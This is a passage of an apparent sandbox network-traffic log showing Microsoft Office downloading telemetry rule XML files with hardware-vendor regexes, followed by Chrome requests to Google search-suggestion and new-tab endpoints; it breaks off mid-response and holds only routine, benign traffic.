Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:25 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:25 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: d02e2b11-101e-00a2-2d3a-3c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040225Z-178bfbc474bnwsh4hC1NYC2ubs00000003x000000000ncwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:25 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:26 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:25 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 9ffa30f7-401e-000a-3a5c-3d4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040225Z-15b8b599d882hxlwhC1TEBfa5w000000029g00000000apc8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 04:02:26 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:25 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 44e9982d-301e-001f-6639-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040225Z-15b8b599d882l6clhC1TEBxd5c000000027g00000000eat9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:26 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:25 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 3c827ba2-d01e-0014-367c-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040225Z-178bfbc474b9xljthC1NYCtw9400000003sg00000000hyyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:28 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 57389be4-e01e-0003-606c-3c0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040228Z-174c587ffdf8fcgwhC1TEBnn7000000002ng000000002ab5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:27 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040228Z-178bfbc474btrnf9hC1NYCb80g00000004600000000014ym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:27 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040228Z-15b8b599d88g5tp8hC1TEByx6w00000002ag00000000dre4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:27 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: a56dfe0e-901e-0029-2976-3b274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040228Z-174c587ffdf59vqchC1TEByk6800000002m0000000006w5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:27 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 04:02:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f19b5380-801e-0015-2749-3cf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T040228Z-15b8b599d885ffrhhC1TEBtuv000000002bg00000000n45g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 04:02:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49744	142.250.181.68	443	6308	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:29 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 04:02:30 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:30 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-FXE1ZtXDcFidNW2OwjtN0g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-23 04:02:30 UTC	124	IN	Data Raw: 33 31 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 79 6f 75 74 75 62 65 20 67 61 6d 69 6e 67 20 72 65 63 61 70 20 32 30 32 34 22 2c 22 61 72 63 61 6e 65 20 73 65 61 73 6f 6e 20 32 20 61 63 74 20 33 22 2c 22 61 74 6c 61 6e 74 61 20 68 61 77 6b 73 20 76 73 20 63 68 69 63 61 67 6f 20 62 75 6c 6c 73 22 2c 22 6a 61 6d 65 73 20 77 65 62 62 20 74 65 6c 65 73 63 6f 70 65 22 2c 22 Data Ascii: 31d)]}'["",["youtube gaming recap 2024","arcane season 2 act 3","atlanta hawks vs chicago bulls","james webb telescope","
2024-11-23 04:02:30 UTC	680	IN	Data Raw: 62 6f 6c 64 20 61 6e 64 20 62 65 61 75 74 69 66 75 6c 20 73 70 6f 69 6c 65 72 73 20 6e 6f 76 65 6d 62 65 72 20 32 35 22 2c 22 6a 69 6d 20 62 69 73 68 6f 70 20 63 61 73 74 6c 65 20 62 75 69 6c 64 65 72 22 2c 22 77 61 6c 6d 61 72 74 20 62 61 6b 65 72 79 20 69 74 65 6d 73 20 72 65 63 61 6c 6c 22 2c 22 73 70 61 63 65 20 73 70 72 6f 75 74 73 20 72 65 77 61 72 64 73 20 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d Data Ascii: bold and beautiful spoilers november 25","jim bishop castle builder","walmart bakery items recall","space sprouts rewards monopoly go"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbm
2024-11-23 04:02:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49745	142.250.181.68	443	6308	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:29 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49747	142.250.181.68	443	6308	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 04:02:29 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 04:02:30 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: 